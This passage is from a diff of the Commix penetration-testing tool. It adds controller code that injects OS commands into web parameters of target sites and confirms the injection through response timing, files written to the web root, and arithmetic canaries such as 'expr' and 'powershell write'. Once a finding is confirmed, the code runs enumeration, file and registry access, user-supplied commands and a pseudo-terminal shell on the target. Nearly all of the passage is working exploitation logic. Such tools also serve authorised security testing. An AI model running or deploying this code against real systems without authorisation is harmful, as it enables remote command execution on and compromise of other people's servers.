never held back is not read as a delayed one. + """ + Asked only once an answer has been held back: the same question about a length no answer + can have. A target that waits for that one too is a slow target rather than one running + what it was given, and the pair is what tells them apart. + """ + def _control_answers_on_time(): + if interpreter: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + control = payloads.decision_alter_interpreter(separator, TAG, control_length, timesec, http_request_method) + else: + control = payloads.decision_alter_interpreter(separator, control_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + control = payloads.decision(separator, TAG, control_length, timesec, http_request_method) + else: + control = payloads.decision(separator, control_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + if not control: + return False + control_time = requests.perform_injection(prefix, suffix, whitespace, control, "", http_request_method, url)[0] + if checks.time_related_shell(control_time, timesec): + return False + checks.record_probe_response_time(control_time) + return True + + if not settings.PAYLOAD_BASELINE_SAMPLED: + settings.PAYLOAD_BASELINE_SAMPLED = True + impossible = control_length + if interpreter: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + probe = payloads.decision_alter_interpreter(separator, TAG, impossible, timesec, http_request_method) + else: + probe = payloads.decision_alter_interpreter(separator, impossible, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + probe = payloads.decision(separator, TAG, impossible, timesec, http_request_method) + else: + probe = payloads.decision(separator, impossible, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + if probe: + try: + probe_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, "", http_request_method, url) + checks.record_probe_response_time(probe_time) + except (KeyboardInterrupt, SystemExit): + raise + except Exception: + pass + + """ + The length the tag really has is the one question worth asking: a target running what it + was given holds its answer back for that length and for no other. Every other length is a + request spent proving what the control above proves in one, and only once it is needed. + """ + for output_length in (len(TAG),): + try: + # Tempfile-based decision payload (check if host is vulnerable). + if interpreter: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.decision_alter_interpreter(separator, TAG, output_length, timesec, http_request_method) + else: + payload = payloads.decision_alter_interpreter(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.decision(separator, TAG, output_length, timesec, http_request_method) + else: + payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + + if not payload: + break + + vuln_parameter = "" + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + + # Every combination's timing is read, the later ones included: the attempt budget + # running low says nothing about whether this particular answer was delayed, and the + # combination that answers is often among the last to be tried. + if checks.time_related_shell(exec_time, timesec): + answered_late = True + # Time related false positive fixation. + false_positive_fixation = False + if len(TAG) == output_length: + + # Held back for the length the answer really has and let through for one it + # cannot have is the shape worth reading: an oracle that answers both the same + # way is a slow target rather than one running what it was given. + statistical_anomaly = checks.decision_is_length_based() and not _control_answers_on_time() + + if timesec <= exec_time and not statistical_anomaly: + false_positive_fixation = True + else: + false_positive_warning = True + + # Identified false positive warning message. + if false_positive_warning: + timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) + + checks.injection_process(injection_type, technique, i=i, total=total) + + # Check if false positive fixation is True. + if false_positive_fixation: + false_positive_fixation = False + if false_positive_warning: + time.sleep(timesec) + randv1 = random.randrange(0, 4) + randv2 = random.randrange(1, 5) + randvcalc = randv1 + randv2 + # A single character either way: the answer is read back one character at a time, + # so anything longer costs a request per extra character. + if settings.SKIP_CALC: + randvcalc = random.randrange(0, 10) + + if settings.TARGET_OS == settings.OS.WINDOWS: + if interpreter: + if settings.SKIP_CALC: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randvcalc) + ")\"" + else: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + else: + cmd = "powershell.exe -InputFormat none write (" + str(randvcalc) + ")" + else: + if settings.SKIP_CALC: + cmd = "echo " + str(randvcalc) + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + cmd = "expr " + str(randv1) + " + " + str(randv2) + "" + else: + cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))" + + # Set the original delay time + original_exec_time = exec_time + + # Check for false positive results - silent, since this is a per-technique gate on + # whether to accept/retry the finding, not the one false-positive check reported to + # the user; that is settings.CHECKING_PARAMETER's own, asked once at the very end. + # The time-based technique has no output file of its own, and carries the empty one set above. + exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES, silent=True) + + if checks.time_related_shell(exec_time, timesec): + if str(output) == str(randvcalc) and len(TAG) == output_length: + possibly_vulnerable = True + # Closes the "Testing/Continuing with..." spinner - the silent false-positive + # gate above no longer does this as a side effect of its own (now silenced) print. + checks.injection_process(injection_type, technique, done=True) + else: + break + # False positive + else: + checks.injection_process(injection_type, technique, i=i, total=total) + continue + else: + # Feed the baseline model even during detection, not just later phases. + checks.record_probe_response_time(exec_time) + checks.injection_process(injection_type, technique, i=i, total=total) + continue + + except KeyboardInterrupt: + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + # Always raises - propagates out to controller.injection_process(). + checks.handle_detection_interrupt(filename, url) + + except SystemExit: + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + raise + + except EOFError: + checks.EOFError_err_msg() + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + raise + + except Exception: + if i >= total: + if no_result is True: + checks.injection_process(injection_type, technique, done=True) + else: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + break + + if possibly_vulnerable: + break + # A further pass is for judging again what was answered late once already - a fresh tag + # cannot make a target delay that never did, and asking every length again over a + # technique this slow is the most expensive way there is to learn the same thing twice. + if not answered_late: + break + """ + Yaw, got shellz! + + A finding read back from a stored session is not judged again here. What is stored is how long + that run's answer took, against the delay that run asked for - and this one asks for its own, + floored by the shortest delay held to be safe. Read against each other, a finding made under a + shorter delay than the floor is thrown away every time it is resumed. + """ + if resumed or oracle_confirmed or checks.time_related_shell(exec_time, timesec): + if (len(TAG) == output_length) and (possibly_vulnerable is True or resumed and int(is_vulnerable) == settings.INJECTION_LEVEL): + found = True + no_result = False + # Export session + if not resumed: + shell = "" + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, counter, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) + else: + whitespace = settings.WHITESPACES[0] + if not resumed: + checks.confirm_boundary(bare_prefix, bare_suffix, separator, whitespace) + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + OUTPUT_TEXTFILE = "" + # An optimisation only, and it costs a timing model and a delayed request to find - so a + # resumed finding is replayed as it was stored rather than measured again for it. + if not resumed: + url, prefix = probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix, TAG, OUTPUT_TEXTFILE) + # Registered here, run once at quit(). + _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + _register_post_detection_action(lambda: registry_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + if menu.options.os_cmd: + # Run the command given with '--os-cmd', once, whichever technique got there first. + def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique, output=output): + if settings.OS_CMD_DONE: + return + settings.OS_CMD_DONE = True + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and len(output) > 1: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + _register_post_detection_action(_run_os_cmd) + # Pseudo-Terminal shell + if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: + continue + else: + return + + return exit_handler(no_result) + +""" +The main results based exploitation process. +""" +def do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique): + + shell = False + counter = 1 + exit_loops = False + no_result = True + # Left unset where a stored technique was expected to resume outright - computed lazily below if + # a 'StoredWebRootConflict' sends that attempt back to the fresh detection path after all. + tmp_path = None + + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED: + try: + import html + unescape = html.unescape + except ImportError: # Python 2 + unescape = _html_parser.HTMLParser().unescape + from src.core.techniques.results_based import rb_injector as injector + from src.core.techniques.results_based import rb_payloads as payloads + + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.eval import eb_injector as injector + from src.core.eval.payloads import classic as payloads + else: + from src.core.techniques.file_based import fb_injector as injector + payloads = checks.file_based_payloads() + + # Calculate all possible combinations + if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + # Built fresh rather than wrapped in place: this runs once per parameter, and rewriting the + # lists themselves would wrap what the previous parameter already wrapped - '${${exec((' by the + # second one, and a prefix list growing without bound behind it. Both lists reach the other two + # evaluation-sink techniques through 'sink_boundaries()', so the damage would not stay here. + prefixes = checks.eval_prefixes() + suffixes = settings.EVAL_SUFFIXES + separators = settings.EVAL_SEPARATORS + else: + prefixes, suffixes, separators = checks.sink_boundaries() + separators = checks.chainable_separators(separators) + + if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: + _announce_technique(injection_type, technique) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + url_time_response = 0 + tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + + checks.prime_whitespace_tampers() + whitespaces = settings.WHITESPACES + + prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) + + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + # Only the classic technique leaves its pipe payloads open, to read the result off the response. + combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_output=technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED, grammar_separators=checks.grammar_separators())) + i = 0 + total = len(combinations) + """ + After this many failed writes the temporary directory is offered instead of the web root. A set + of boundaries small enough to get through is gone through in full first: the one that answers is + as likely to be the last of them as any other, and stopping one short of it is what makes a + perfectly writable web root look unwritable. + + Worked out per technique and per target rather than written back to the option, whose value would + otherwise be the first boundary space to reach here - a Windows target leaves fewer combinations + than a Unix-like one, and the next target would be given up on before its own were exhausted. + """ + if menu.options.failed_tries is None: + failed_tries = min(total, settings.MAX_FAILED_TRIES) + else: + failed_tries = int(menu.options.failed_tries) + for whitespace, prefix, suffix, separator in combinations: + bare_prefix = prefix + bare_suffix = suffix + """ + The whitespace goes in as a space. + + Encoding it here is the last of the pre-encoding the payloads used to do, and it survives only + where the carrier is URL-decoded by the target. A JSON or XML body is not - the target reads + '%20' as three characters, the command it is part of is not a command, and the technique looks + inapplicable. Encoded once at the end, with everything else, it is right for either. + """ + # Check injection state + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + # If a previous session is available for this specific technique. + resumed = False + stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None + if stored_row: + try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) + url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + settings.FILE_BASED_STATE = True + checks.check_for_stored_tamper(payload) + tmp_path = "" + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG, prompt=False) + if re.findall(settings.DIRECTORY_REGEX,payload): + filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] + settings.WEB_ROOT = os.path.dirname(filepath) + settings.CUSTOM_WEB_ROOT = True + tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) + else: + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED: + settings.RESULTS_BASED_STATE = True + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + settings.EVAL_BASED_STATE = True + checks.check_for_stored_tamper(payload) + resumed = True + except TypeError: + checks.error_loading_session_file() + except session_handler.StoredWebRootConflict: + pass + + if not resumed: + i = i + 1 + # Check for bad combination of prefix and separator + combination = prefix + separator + if combination in settings.JUNK_COMBINATION: + prefix = "" + + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if tmp_path is None: + url_time_response = 0 + tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + # The output file for file-based injection technique. + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) + else: + randv1 = random.randrange(100) + randv2 = random.randrange(100) + randvcalc = randv1 + randv2 + + # Define alternative interpreter + interpreter = menu.options.interpreter + try: + # File-based decision payload (check if host is vulnerable). + if interpreter: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.decision_alter_interpreter(separator, TAG, OUTPUT_TEXTFILE) + else: + payload = payloads.decision_alter_interpreter(separator, TAG, randv1, randv2) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.decision(separator, TAG, OUTPUT_TEXTFILE) + else: + # Classic decision payload (check if host is vulnerable). + payload = payloads.decision(separator, TAG, randv1, randv2) + + # No payload for this separator - cmd.exe cannot chain on it, so there is nothing to send. + if not payload: + checks.injection_process(injection_type, technique, done=bool(no_result and i >= total), i=i, total=total) + continue + + vuln_parameter = "" + response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + # Try target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate test results. + time.sleep(timesec) + shell = injector.injection_test_results(response, TAG, randvcalc, technique, payload) + done = bool(shell) or (no_result and i >= total) + checks.injection_process(injection_type, technique, done=done, i=i, total=total) + # Armed, not fired: the boundary this technique was confirmed on is in hand here and + # nowhere near the file-based technique that needs the document root, so what can carry a + # command is kept for it to ask with - and only where the root is not already settled. + if shell and not settings.USER_APPLIED_WEB_ROOT and not settings.WEB_ROOT_SETTLED_ONCE: + # Neither an output file nor a baseline response time of its own: only the file-based + # technique writes one, and only the time-related ones measure the other - this is armed + # on the techniques that read their answer straight off the page, which need neither. + # + # 'results_based_injector' because of when it is called rather than what it is: the + # time-based technique has run by then and left its own flag standing, and the injector + # kept here reads the page back - handed the time-related argument list, it raises. + settings.WEB_ROOT_PROBE = execution.make_simple_execute_cmd(injector, separator, 0, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, 0, technique, "", results_based_injector=True) + else: + try: + time.sleep(timesec) + output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + response = checks.get_response(output) + if type(response) is bool: + html_data = "" + else: + html_data = checks.process_page_content(response, action="decode", guard=TAG) + # The marker written here is what the file holds until a command overwrites it, so it + # is remembered as such - a command the target never runs leaves it in place, and the + # read that follows would otherwise hand it back as that command's own output. + injector.remember_output_file(response) + shell = re.findall(r"" + TAG + "", str(html_data)) + if len(shell) == 0 : + raise _urllib.error.HTTPError(url, int(settings.NOT_FOUND_ERROR), 'Error', {}, None) + else: + if shell[0] == TAG: + checks.injection_process(injection_type, technique, done=True) + + except _urllib.error.HTTPError as e: + if str(e.getcode()) == settings.NOT_FOUND_ERROR: + if settings.CALL_TMP_BASED is True: + exit_loops = True + dest_dir = os.path.dirname(menu.options.file_dest.replace("\\", "/")) + tmp_path = checks.normalize_target_dir(dest_dir) + checks.tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + raise + # Show an error message, after N failed tries. + # Use the "/tmp/" directory for tempfile-based technique. + elif (i == failed_tries and no_result is True) or (i == total): + """ + A directory-choice menu left more candidates untried - move on to the next one + before ever offering "/tmp/". Done as a fresh call, not a 'continue' in place: 'i' + only ever counted up against the one 'combinations' list this call already built, + and the 'for' loop walking it does not rewind because a counter did - resetting 'i' + alone tried the new root against whatever few combinations were left in that same + exhausted pass, not a fair run of its own, and read as "still not injectable" after + barely trying. A fresh call builds its own list and its own count from zero. + """ + if not settings.USER_APPLIED_WEB_ROOT and settings.WEB_ROOT_CANDIDATES: + settings.CUSTOM_WEB_ROOT = False + checks.custom_web_root(url, timesec, filename, http_request_method, url_time_response) + return do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique) + # Offered before giving up rather than instead of the last combinations: where + # there are fewer of those than '--failed-tries' allows, every one of them is + # still tried, and the temporary directory is what follows them failing. + # Truthy means the tempfile-based fallback already handled it - stop here. + if checks.use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): + return True + if i == total: + if checks.finalize(exit_loops, no_result, i, total, injection_type, technique, shell): + continue + else: + raise + else: + if checks.finalize(exit_loops, no_result, i, total, injection_type, technique, shell): + continue + else: + raise + + elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: + err_msg = "You need authorization to access this page: '" + settings.DEFINED_WEBROOT + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + checks.quit(filename, url, hard_exit=False) + + elif str(e.getcode()) == settings.FORBIDDEN_ERROR: + err_msg = "You do not have access to this page: '" + settings.DEFINED_WEBROOT + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + checks.quit(filename, url, hard_exit=False) + + except KeyboardInterrupt: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + # Delete previous shell (text) files (output) + if 'vuln_parameter' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + else: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # Always raises; let injection_process() handle the skip/end/next/quit action. + checks.handle_detection_interrupt(filename, url) + + except SystemExit: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if 'vuln_parameter' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + else: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise + + except _urllib.error.URLError as e: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + warn_msg = "It seems you do not have permission to " + warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + err_msg = str(e).replace(": "," (") + ")." + if settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # Provide custom server's root directory. + if not settings.USER_APPLIED_WEB_ROOT: + settings.CUSTOM_WEB_ROOT = False + checks.custom_web_root(url, timesec, filename, http_request_method, url_time_response) + continue + + except EOFError: + checks.EOFError_err_msg() + raise + + except Exception: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + raise + else: + continue + + # Yaw, got shellz! + # Do some magic tricks! + if shell and not resumed: + # Re-verify with a fresh marker/pair each round - left unannounced, since the parameter as a + # whole gets one such announcement of its own once every technique has had its turn. + verified = True + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and settings.TARGET_OS != settings.OS.WINDOWS: + # One write + one fetch for all rounds, not a cycle per round. + verify_tags = [''.join(random.choice(string.ascii_uppercase) for _ in range(6)) for _ in range(settings.RESULTS_BASED_VERIFY_ROUNDS)] + if interpreter: + verify_payload = payloads.decision_combined_alter_interpreter(separator, verify_tags, OUTPUT_TEXTFILE) + else: + verify_payload = payloads.decision_combined(separator, verify_tags, OUTPUT_TEXTFILE) + requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) + time.sleep(timesec) + verify_response = injector.fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) + verify_html_data = "" if verify_response is None or type(verify_response) is bool else checks.process_page_content(verify_response, action="decode", guard=verify_tags[0]) + # The markers written just now are the last thing in the file before a command is, so this + # is what the file still holds if the first command never reaches the target. + injector.remember_output_file(verify_response) + # Tags must appear in order - rules out a stale/cached file. + verified = re.search(r"" + r".*?".join(verify_tags) + r"", str(verify_html_data), re.DOTALL) is not None + else: + for _verify_round in range(settings.RESULTS_BASED_VERIFY_ROUNDS): + verify_tag = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if interpreter: + verify_payload = payloads.decision_alter_interpreter(separator, verify_tag, OUTPUT_TEXTFILE) + else: + verify_payload = payloads.decision(separator, verify_tag, OUTPUT_TEXTFILE) + requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) + time.sleep(timesec) + verify_response = injector.fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) + verify_html_data = "" if verify_response is None or type(verify_response) is bool else checks.process_page_content(verify_response, action="decode", guard=verify_tag) + injector.remember_output_file(verify_response) + verify_shell = re.findall(r"" + verify_tag + "", str(verify_html_data)) + verified = bool(verify_shell) and verify_shell[0] == verify_tag + else: + verify_randv1 = random.randrange(100) + verify_randv2 = random.randrange(100) + verify_randvcalc = verify_randv1 + verify_randv2 + if interpreter: + verify_payload = payloads.decision_alter_interpreter(separator, verify_tag, verify_randv1, verify_randv2) + else: + verify_payload = payloads.decision(separator, verify_tag, verify_randv1, verify_randv2) + verify_response, _, verify_payload, _, _ = requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) + if settings.URL_RELOAD: + verify_response = requests.url_reload(url, timesec) + time.sleep(timesec) + verified = bool(injector.injection_test_results(verify_response, verify_tag, verify_randvcalc, technique, verify_payload)) + if not verified: + break + if not verified: + checks.unexploitable_point() + shell = False + if shell: + found = True + no_result = False + # Export session + if not resumed: + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, counter, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell[0], vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) + else: + whitespace = settings.WHITESPACES[0] + if not resumed: + checks.confirm_boundary(bare_prefix, bare_suffix, separator, whitespace) + cmd = maxlen = "" + if not 'url_time_response' in locals(): + url_time_response = "" + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + OUTPUT_TEXTFILE = "" + # Registered here, run once at quit(). + _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + _register_post_detection_action(lambda: registry_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + if menu.options.os_cmd: + # Run the command given with '--os-cmd', once, whichever technique got there first. + def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique): + if settings.OS_CMD_DONE: + return + settings.OS_CMD_DONE = True + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + _register_post_detection_action(_run_os_cmd) + # Pseudo-Terminal shell + if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: + continue + else: + return + + return exit_handler(no_result) + +# eof diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py new file mode 100755 index 0000000000..8c384babbe --- /dev/null +++ b/src/core/controller/injector.py @@ -0,0 +1,1962 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import os +import time +import string +import random +import threading +try: + import concurrent.futures + _THREADS_SUPPORTED = True +except ImportError: + # "concurrent.futures" needs Python 3.2+; fall back to serial on Python 2. + _THREADS_SUPPORTED = False +from src.core.parse import cmdline as menu +from src.utils import settings +from src.utils import logs +from src.utils import progress +from src.core.requests import requests +from src.core.requests import stability +from src.utils import common +from src.core.controller import checks +from src.core.controller import execution +from src.utils import session_handler +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import html_parser as _html_parser + +""" +Abort the thread pool on SystemExit; KeyboardInterrupt is handled by the caller. +""" +def _abort_executor(executor, exc): + executor.shutdown(wait=False, cancel_futures=True) + logs.finalize_report(exc.code if isinstance(exc.code, int) else 0) + os._exit(exc.code if isinstance(exc.code, int) else 0) + +""" +The main time-realative command injection exploitation. +""" +""" +How many output positions a time-related retrieval resolves at once. +""" +def retrieval_concurrency(): + if settings.THREADS > 1 and _THREADS_SUPPORTED and settings.THREADED_TIME_RETRIEVAL_CHOICE is not False: + return settings.THREADS + return 1 + +# Retrieve a command's output from a target that answers only by how long it takes. +def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + + payloads = execution.select_payloads_module(technique) + + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd, previous_cmd = execution.windows_transform_cmd(cmd, technique, interpreter) + + if menu.options.file_write or menu.options.reg_read or menu.options.reg_add or menu.options.reg_del: + minlen = 0 + else: + minlen = 1 + + if settings.CALIBRATED_TIMESEC is not None: + timesec = settings.CALIBRATED_TIMESEC + + found_chars = False + # Retrieving a user command's output is exploitation, even when the finding was resumed. + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + settings.INCOMPLETE_OUTPUT = False + # Warn about network load once before the first command that needs it. + checks.time_related_attaks_msg() + checks.warm_up_response_baseline(url, http_request_method) + + if settings.EXPLOITATION_PHASE and settings.ADJUST_TIME_DELAY_CHOICE is None: + msg = "Do you want " + settings.APPLICATION + " to try to optimize the value(s) for delay responses (option '--time-sec')? [Y/n] " + settings.ADJUST_TIME_DELAY_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES + + # An interrupted prior run's partial value carries an already-confirmed length. + _stored_partial = None + if not menu.options.ignore_session: + _candidate = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if _candidate is not None and _candidate.startswith(settings.PARTIAL_VALUE_MARKER): + _stored_partial = _candidate + _cached_length = None + if _stored_partial is not None: + try: + _cached_length = int(_stored_partial[len(settings.PARTIAL_VALUE_MARKER):].split(":", 1)[0]) + except ValueError: + _cached_length = None + + # The length and character payloads read their value off a PowerShell on the target, and its + # first launch is served cold - tens of seconds, where every one after it 